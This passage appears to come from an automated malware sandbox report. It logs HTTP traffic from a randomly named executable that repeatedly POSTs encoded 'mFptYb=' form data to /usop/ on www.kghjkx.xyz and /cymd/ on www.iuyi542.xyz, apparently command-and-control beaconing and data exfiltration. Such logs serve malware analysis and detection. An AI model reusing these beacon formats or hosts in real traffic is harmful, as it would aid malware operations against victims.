6a 50 39 48 2f 35 50 36 71 5a 6f 57 57 41 7a 37 78 65 38 4b 65 30 56 69 58 48 5a 49 63 70 79 4d 41 4b 69 31 69 68 42 39 66 7a 7a 65 4f 59 6a 58 33 77 74 53 46 76 4b 32 4c 31 35 74 53 4a 6d 45 33 32 69 63 56 56 78 74 68 [TRUNCATED] Data Ascii: mFptYb=6Ez30ZWXMUnDmhgT5XWmYb1UqsqBaXLfQ48R62vcaZX0Svgcb6LacwFJhz9bGeWg9sS4tndrk0cPeaDcTxs+TFEdOMOIWylRtU9L++V2LU8+u6ZueINcwfMDcduR6GxzrJWpMBFd70q0EjbdwW8CveRfBtiaTGpBKnxMbmI++t0rDYBKA8q5t1iHQCb77AEojYVec8FjXHf5OCW3+WLmlbdgdy0dKXMSm1ES2T9B67L8cFuZZJSqms3NgmBKcKxOIdjP9H/5P6qZoWWAz7xe8Ke0ViXHZIcpyMAKi1ihB9fzzeOYjX3wtSFvK2L15tSJmE32icVVxth8PxV54xKkXb0tl6lS5942kZYshVAEB22A6evMn6P/ZZnnK99Gv4XOJ6M0oedPWqI9r997EyjQnp4UPjttwCg0OlXkbJNwP/YHozHrr+9y/8GuGXcl6nmJxPjTSPRN2P+Fi4xtlsaHlTnWctUEwfmiQdRob6i8MD5+XIkJarfNZFDcujwdosStIEaSlA5imyur0cVmqDwrH4zit6pLj3t6mVXRTVVPaXKYOSrddv98PUfioC9sf2YLh2Ol5gR3gqCIpIa3KlT9Plw/h9IZTQc2km5iRQe1TOKWpwlnN5qPKNOaGIu8Nf8QkTU9bajwUEIR6xnW2c9cXQONYTv7OiHHZJhycB8XkMWUIsXGtfjw4iQeD/f0Rvwz4pUpbs4BmhiCVOlLTEyOUEEgEEgKYfu20bgiUwrP2AkrDUNoEqBCYnCdLPZo3i8Rb5f07NosZsJFGgzkAnlFTW0SLZuNMW2LFynsMz8NZgb/twLKMPMMD+hebKncDRmJx1jtFrjiWJ9ofsFzfcYZ0PD9B4GbWwZXza/Kb31Ehi1JLHR88+1pywzXbaZAg+ADInTCQztYj2nvjdfMuA6wNfkgta7D5q3PCgQY96+trPb0EXv4IhgQLB05AP8fv9qNPDaJ7WoKeJnvgBh4vGSHH/TlVX2XIVo2Gl7oczPUuJD2J [TRUNCATED]
Nov 7, 2024 10:52:13.209633112 CET	273	OUT	Data Raw: 46 52 69 54 36 72 55 6b 33 4a 74 75 7a 70 6e 44 7a 32 4a 50 52 61 57 64 55 4c 52 67 49 30 58 65 4c 51 33 66 5a 62 30 4d 54 59 61 63 6a 66 6c 61 2b 7a 76 59 71 42 32 44 2f 38 42 54 4a 41 64 62 77 4c 37 79 55 4b 69 78 4a 46 63 31 6b 53 42 33 79 4b Data Ascii: FRiT6rUk3JtuzpnDz2JPRaWdULRgI0XeLQ3fZb0MTYacjfla+zvYqB2D/8BTJAdbwL7yUKixJFc1kSB3yKl5A9FQHmJaGHe5U/hQXTh1O0NbkN8NQsU0Xu0JcmCnNrpwKgPjXOsbqqga5eFOVnYCyGUfZie7vSLkmw8YSbkqqikDVnD1K3QG6LvGZ+vlgjttHMimWvsPGw+tTRv7oTQeJdDDggncnbQ5MfGr6pn9IYCs2R8UHsM
Nov 7, 2024 10:52:14.197551012 CET	398	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 07 Nov 2024 09:52:14 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.kghjkx.xyz/usop/ Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49196	47.129.103.185	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:15.818451881 CET	784	OUT	POST /usop/ HTTP/1.1 Host: www.kghjkx.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.kghjkx.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.kghjkx.xyz/usop/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 36 45 7a 33 30 5a 57 58 4d 55 6e 44 6d 6d 4d 54 34 47 57 6d 5a 37 31 55 6e 4d 71 42 51 33 4c 5a 51 35 41 5a 36 7a 4f 5a 61 4b 6e 30 53 2f 51 63 62 50 6e 61 52 51 46 4f 75 54 39 48 46 75 57 35 39 73 53 65 74 6c 4a 72 6b 30 49 50 4d 73 48 63 44 30 41 78 4f 6c 45 66 42 73 4f 4c 57 79 35 69 74 55 77 57 2b 2f 74 32 4c 57 59 2b 67 65 31 75 61 75 68 63 31 76 4d 42 55 39 75 38 36 47 39 6d 72 4e 79 68 4d 45 5a 64 38 47 65 30 64 53 37 64 31 46 6b 43 6c 2b 52 65 5a 39 6a 34 41 48 41 64 44 68 39 6d 5a 58 73 6a 68 50 6c 4e 4a 4a 51 47 59 39 61 53 72 31 71 61 56 47 71 76 2b 54 73 6e 2f 77 3d 3d Data Ascii: mFptYb=6Ez30ZWXMUnDmmMT4GWmZ71UnMqBQ3LZQ5AZ6zOZaKn0S/QcbPnaRQFOuT9HFuW59sSetlJrk0IPMsHcD0AxOlEfBsOLWy5itUwW+/t2LWY+ge1uauhc1vMBU9u86G9mrNyhMEZd8Ge0dS7d1FkCl+ReZ9j4AHAdDh9mZXsjhPlNJJQGY9aSr1qaVGqv+Tsn/w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49197	47.129.103.185	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:18.437149048 CET	2472	OUT	POST /usop/ HTTP/1.1 Host: www.kghjkx.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.kghjkx.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.kghjkx.xyz/usop/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 36 45 7a 33 30 5a 57 58 4d 55 6e 44 6d 47 63 54 30 46 4f 6d 51 37 31 54 6f 73 71 42 61 58 4c 64 51 34 38 5a 36 32 76 63 61 63 2f 30 53 75 41 63 56 4b 4c 61 54 51 46 4f 6f 54 39 62 47 65 57 76 39 74 32 6f 74 6e 51 65 6b 79 51 50 65 62 44 63 54 79 55 2b 45 31 45 64 46 73 4f 4b 57 79 34 36 74 55 67 53 2b 2f 70 63 4c 57 77 2b 67 73 64 75 64 65 68 66 36 50 4d 42 55 39 75 77 36 47 39 6a 72 4a 65 35 4d 41 52 4e 37 33 75 30 45 7a 62 64 33 6d 38 42 6e 2b 52 61 46 74 69 51 54 47 31 57 4b 6e 78 49 62 6d 63 45 2b 73 49 72 43 4b 35 4b 41 37 65 2b 6f 6c 69 45 64 69 62 37 32 67 45 71 6a 59 55 61 63 38 46 6a 58 44 6e 35 50 53 57 33 2b 55 6a 6c 68 62 64 67 63 79 30 71 46 32 77 47 6d 31 51 73 32 53 4d 38 36 73 72 38 54 6e 47 5a 54 5a 53 71 32 63 33 4c 67 6d 42 39 46 36 78 6b 49 5a 33 48 39 48 4f 68 50 36 71 5a 6f 51 69 41 2f 4a 70 65 71 71 65 30 4e 53 58 47 51 6f 63 75 79 4e 52 76 69 31 57 68 42 38 48 7a 78 73 57 59 79 46 50 33 6a 43 46 75 4f 32 4c 33 76 64 53 51 6d 45 62 50 69 63 64 76 78 74 52 [TRUNCATED] Data Ascii: mFptYb=6Ez30ZWXMUnDmGcT0FOmQ71TosqBaXLdQ48Z62vcac/0SuAcVKLaTQFOoT9bGeWv9t2otnQekyQPebDcTyU+E1EdFsOKWy46tUgS+/pcLWw+gsdudehf6PMBU9uw6G9jrJe5MARN73u0Ezbd3m8Bn+RaFtiQTG1WKnxIbmcE+sIrCK5KA7e+oliEdib72gEqjYUac8FjXDn5PSW3+Ujlhbdgcy0qF2wGm1Qs2SM86sr8TnGZTZSq2c3LgmB9F6xkIZ3H9HOhP6qZoQiA/Jpeqqe0NSXGQocuyNRvi1WhB8HzxsWYyFP3jCFuO2L3vdSQmEbPicdvxtR8Pz95rAKkXL0uvalWzd0qkZBLhVF5B0CAo/vMk+v+A5nhN99I5IXCJ6Iaof9PW/w9q9d7AALXyp4PEDs17ihjOlC3bLlgPPoHnjHrqcl99sGrO3cKhXmbxPjpSLM616SFi4Btl5uHlTnJO9UC//qMQdtsb6+sMFF+XZUJaqfNUFDcxDwe9cS0IEfvlBQXmC6r1+NmoFErSoz8v6pK9HtnmUnRTVAUaUKYNzrddO98D0fmki9Nf2Zwh26p5ggIgomIpLC3MkT9X1w8ytJeCgcNkmhyRQLaTPyWoQFnLKyPLtOYEIu8D/8IkTdGbYWPUAUR6DTW9c9fQQOOaTv4EyHvZJxycBwXkM+UI/vGnM7w0yQccverLf9c4okbbt9emgOCTflLQHaPbUEqOkhHcfvr0bgmUyLf3zgrDBxoIvtBaHCeBvZ/4C8bb5Pe7Nc8YdFFGhDkAzFFQm0SLZuKMW3CFyidM2A3Zgb//RLKMdkMXuhXXqnLSBmTx1nHFr65WKpoQZxzfcYapPD8IYGYWwE3za/ob3pEhQ5JJRF87bpp2QzXLKZPpeACInTSQyRxjzLvx8/MnTexGPlH6q7V3K7ACgcQ94yto8/0EGv4LRgQVx0mKv9XytWRPDun7X4ae43vh2t4glKIe/TkY33xIVssGljac3DuuIb2J [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49198	47.129.103.185	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:20.968383074 CET	528	OUT	GET /usop/?mFptYb=3GbX3siKa3fb4xoywmO7dLt2gtHeawz6Sbk2xDjabsziN9g8eu79XBc6hQhNCIiJycOeh1EqhE8oaarBESMUTzpbIdTTfy1FzFAf98MVDEsTj+MFe4tIzu4mcpDK&Vta=nFypuDtholF HTTP/1.1 Host: www.kghjkx.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:52:21.975764036 CET	546	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 07 Nov 2024 09:52:21 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.kghjkx.xyz/usop/?mFptYb=3GbX3siKa3fb4xoywmO7dLt2gtHeawz6Sbk2xDjabsziN9g8eu79XBc6hQhNCIiJycOeh1EqhE8oaarBESMUTzpbIdTTfy1FzFAf98MVDEsTj+MFe4tIzu4mcpDK&Vta=nFypuDtholF Strict-Transport-Security: max-age=31536000 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.22	49199	38.47.237.27	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:28.047858953 CET	2472	OUT	POST /cymd/ HTTP/1.1 Host: www.iuyi542.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.iuyi542.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.iuyi542.xyz/cymd/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 66 53 35 35 43 43 33 45 68 38 76 66 37 54 6e 78 71 51 43 37 5a 52 76 74 56 42 56 54 78 57 51 69 54 46 34 4c 66 77 30 72 45 70 6a 74 65 70 48 70 46 48 66 45 49 59 43 71 50 51 67 42 30 67 70 51 54 59 6c 2b 38 6b 52 32 4b 7a 69 4e 44 51 59 7a 51 59 73 65 68 55 79 6b 63 76 51 36 63 4e 52 6c 47 52 64 37 55 6c 2f 35 72 51 34 68 52 45 44 79 57 6d 33 44 72 6e 44 33 61 75 4d 4e 45 45 64 62 39 6e 58 78 33 56 42 70 45 68 4c 59 45 77 69 4f 53 45 57 4a 71 44 33 76 6a 6b 6a 59 38 6b 49 6d 55 66 4c 59 55 49 4a 75 50 36 58 32 34 79 54 61 53 45 35 41 43 42 4b 4c 2b 31 2b 39 76 4c 69 79 35 50 30 61 72 39 54 75 4a 53 66 42 43 4f 54 39 51 35 65 4f 46 6f 49 64 48 7a 73 33 74 6f 64 7a 68 77 72 69 6b 37 30 34 71 4a 42 4d 38 63 42 30 62 72 49 35 61 33 39 44 77 45 37 7a 49 33 75 4b 65 46 38 67 4f 58 38 33 32 41 33 70 66 47 4b 46 79 67 49 73 6b 6b 2b 2b 77 77 49 47 72 45 36 32 7a 36 56 55 51 77 74 76 4c 4c 74 77 32 50 2b 34 64 51 6f 4c 30 75 48 68 4e 61 30 75 4a 36 42 42 4d 50 63 34 64 76 34 7a 48 78 55 [TRUNCATED] Data Ascii: mFptYb=fS55CC3Eh8vf7TnxqQC7ZRvtVBVTxWQiTF4Lfw0rEpjtepHpFHfEIYCqPQgB0gpQTYl+8kR2KziNDQYzQYsehUykcvQ6cNRlGRd7Ul/5rQ4hREDyWm3DrnD3auMNEEdb9nXx3VBpEhLYEwiOSEWJqD3vjkjY8kImUfLYUIJuP6X24yTaSE5ACBKL+1+9vLiy5P0ar9TuJSfBCOT9Q5eOFoIdHzs3todzhwrik704qJBM8cB0brI5a39DwE7zI3uKeF8gOX832A3pfGKFygIskk++wwIGrE62z6VUQwtvLLtw2P+4dQoL0uHhNa0uJ6BBMPc4dv4zHxUvsG+bTZ9qegu1SMj9wwxU/d7cSXZqaBGTilID3mrxYRWBQvlYDjULjH7f0gqxfeYlQ7Nmfm3c3jkXoH5BZB/aDVvAb+a1Xhbc7bDynHUAMrRUi1cD6MRwPslqHL9kGMXBgta/mNKR6WUOwhlr4shaYV3fJeEBlFzsHJanLb9fSdPM1v54EaaNX39TfMkcepQBaO6Obq027hVn030kfYxIsS9yzQy5EcXEhvU5cn0xYjkiyCwciPqbNEpBvZfC680yDy4DO9ohBA7kjvCdA0rTPY8/DSzyLFzXleLopzvKzFq889Q8/MxF1xi3cgnddPUNxk1FRUgMvlrbfhfoHB8PreEFOZ+inqJJnAcquBN89Xyl97E52cks/v9DkIMMVt4BAQEoCoSXdV5eSthk9HdEO7DSxXj4ERrHYivwwCTQPIJ38LvRc3tesuJxtlp00MOTF7U6gh1HgQ+vTZaXmNzEWXaKS8eUsX+wWYq74nMqU5cCvV0/OtbFEuSZDLx67w3G/9cjENt3KClPwJgI5SdCW60pkTCbzRW4WIsj/O4CH6F14x+sTJOQkMz+V39Ei02FjUgc7slC4Ca4lAwAXbevjOfZLFTmesdsWKxUIBnwRICXU4ejGEwV1VwG5yUtgv8EL7C7rpWhs9bBQHAAnNZ/Z3SdAuVNDYDfi [TRUNCATED]
Nov 7, 2024 10:52:28.053275108 CET	276	OUT	Data Raw: 2b 50 42 77 34 65 6d 54 68 59 39 41 32 46 78 69 37 75 4d 6b 31 6b 6d 6c 61 6a 64 6a 35 4e 35 51 69 39 31 6d 68 44 67 50 39 52 5a 34 30 50 4f 72 4e 51 70 68 74 2b 45 4a 43 45 68 58 62 69 47 73 49 42 6b 7a 50 44 6f 38 2f 66 71 61 6d 75 31 30 4c 44 Data Ascii: +PBw4emThY9A2Fxi7uMk1kmlajdj5N5Qi91mhDgP9RZ40POrNQpht+EJCEhXbiGsIBkzPDo8/fqamu10LDtFDvCMpdI3sQCrpZ+qvr2WcCVTaexguczh0KIF1C0v58aWuNQDvZJuxgg01eMXxFUHG+F9L2TrKMwOb9W+6nhq7SHD1Nz/Qdxsu4gGFZZkTMA3J7JjM+0dSdMiRJQuoVbxPIpPWD2bz6HDl8FIXE9UMaPTMeAb5CP
Nov 7, 2024 10:52:28.632575989 CET	170	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:52:28 GMT Content-Type: text/html Content-Length: 167433 Connection: close ETag: "652641ca-28e09"
Nov 7, 2024 10:52:28.632700920 CET	1236	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 20 50 61 67 65 3c Data Ascii: <html lang="en"><head> <meta charset="UTF-8"> <title>CodePen - 404 Page</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style>button,hr,input{overflow:visible}audio,canvas,progress,video{dis
Nov 7, 2024 10:52:28.632816076 CET	212	IN	Data Raw: 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 35 3b 6d 61 72 67 69 6e 3a 30 7d 62 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 73 75 62 6d Data Ascii: ne-height:1.15;margin:0}button,input{}button,select{text-transform:none}[type=submit], [type=reset],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inn
Nov 7, 2024 10:52:28.632827044 CET	1236	IN	Data Raw: 65 72 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 2c 62 75 74 74 6f 6e 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 2d 69 6e 6e 65 72 7b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 Data Ascii: er,[type=submit]::-moz-focus-inner,button::-moz-focus-inner{border-style:none;padding:0}[type=button]:-moz-focusring,[type=reset]:-moz-focusring,[type=submit]:-moz-focusring,button:-moz-focusring{outline:ButtonText dotted 1px}fieldset{border:1
Nov 7, 2024 10:52:28.632898092 CET	212	IN	Data Raw: 3b 2d 2d 6f 72 61 6e 67 65 3a 23 66 64 37 65 31 34 3b 2d 2d 79 65 6c 6c 6f 77 3a 23 66 66 63 31 30 37 3b 2d 2d 67 72 65 65 6e 3a 23 32 38 61 37 34 35 3b 2d 2d 74 65 61 6c 3a 23 32 30 63 39 39 37 3b 2d 2d 63 79 61 6e 3a 23 31 37 61 32 62 38 3b 2d Data Ascii: ;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#6c757d;--gray-dark:#343a40;--primary:#007bff;--secondary:#6c757d;--success:#28a745;--info:#17a2b8;--warning:#f
Nov 7, 2024 10:52:28.632973909 CET	1236	IN	Data Raw: 66 63 31 30 37 3b 2d 2d 64 61 6e 67 65 72 3a 23 64 63 33 35 34 35 3b 2d 2d 6c 69 67 68 74 3a 23 66 38 66 39 66 61 3b 2d 2d 64 61 72 6b 3a 23 33 34 33 61 34 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 73 3a 30 3b 2d 2d 62 72 65 61 6b 70 6f 69 Data Ascii: fc107;--danger:#dc3545;--light:#f8f9fa;--dark:#343a40;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helve
Nov 7, 2024 10:52:28.632982969 CET	212	IN	Data Raw: 65 6d 7d 61 62 62 72 5b 64 61 74 61 2d 6f 72 69 67 69 6e 61 6c 2d 74 69 74 6c 65 5d 2c 61 62 62 72 5b 74 69 74 6c 65 5d 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 Data Ascii: em}abbr[data-original-title],abbr[title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:norma
Nov 7, 2024 10:52:28.633114100 CET	1236	IN	Data Raw: 6c 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 Data Ascii: l;line-height:inherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{f
Nov 7, 2024 10:52:28.633136034 CET	212	IN	Data Raw: 6f 6d 3a 2e 35 72 65 6d 7d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 7d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 7b 6f 75 74 6c 69 6e 65 3a 31 70 78 20 64 6f 74 74 65 64 3b 6f 75 74 6c 69 6e 65 3a 35 70 78 20 61 75 74 6f 20 2d Data Ascii: om:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}button,input,optgroup,select,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}b
Nov 7, 2024 10:52:28.633440971 CET	1236	IN	Data Raw: 75 74 74 6f 6e 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 62 75 74 74 6f 6e 2c 73 65 6c 65 63 74 7b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d Data Ascii: utton,input{overflow:visible}button,select{text-transform:none}[type=reset],[type=submit],button,html [type=button]{-webkit-appearance:button}[type=button]::-moz-focus-inner,[type=reset]::-moz-focus-inner,[type=submit]::-moz-focus-inner,button

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.22	49200	38.47.237.27	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:30.581115961 CET	787	OUT	POST /cymd/ HTTP/1.1 Host: www.iuyi542.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.iuyi542.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.iuyi542.xyz/cymd/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 66 53 35 35 43 43 33 45 68 38 76 66 37 51 50 78 34 56 75 37 59 78 76 74 59 68 56 54 6f 47 51 6b 54 46 30 44 66 78 77 37 45 2b 33 74 65 35 33 70 46 31 48 45 4c 59 43 74 58 67 67 4e 77 67 70 46 54 59 6c 49 38 6d 56 32 4b 33 4b 4e 41 32 45 7a 57 5a 73 64 6a 6b 79 6d 58 50 51 42 63 4e 73 46 47 52 41 67 55 6c 48 35 72 58 63 68 41 30 54 79 63 6a 62 44 67 48 44 39 52 4f 4d 65 45 45 59 5a 39 6e 47 38 33 56 74 70 46 51 48 59 45 45 69 4f 44 6e 2b 4a 68 6a 33 69 6b 6b 69 30 74 6e 73 32 4d 35 54 7a 49 70 31 68 4d 4b 6a 36 33 44 7a 61 64 55 31 42 4a 68 2b 70 38 79 72 4f 68 71 66 6f 6c 41 3d 3d Data Ascii: mFptYb=fS55CC3Eh8vf7QPx4Vu7YxvtYhVToGQkTF0Dfxw7E+3te53pF1HELYCtXggNwgpFTYlI8mV2K3KNA2EzWZsdjkymXPQBcNsFGRAgUlH5rXchA0TycjbDgHD9ROMeEEYZ9nG83VtpFQHYEEiODn+Jhj3ikki0tns2M5TzIp1hMKj63DzadU1BJh+p8yrOhqfolA==
Nov 7, 2024 10:52:31.228734016 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 07 Nov 2024 09:52:31 GMT Content-Type: text/html Content-Length: 167433 Connection: close ETag: "652641ca-28e09" Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 43 6f 64 65 50 65 6e 20 2d 20 34 30 34 20 50 61 67 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 09 62 75 74 74 6f 6e 2c 68 72 2c 69 6e 70 75 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 70 72 6f 67 72 65 73 73 2c 73 75 62 2c 73 75 70 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 6c 69 6e 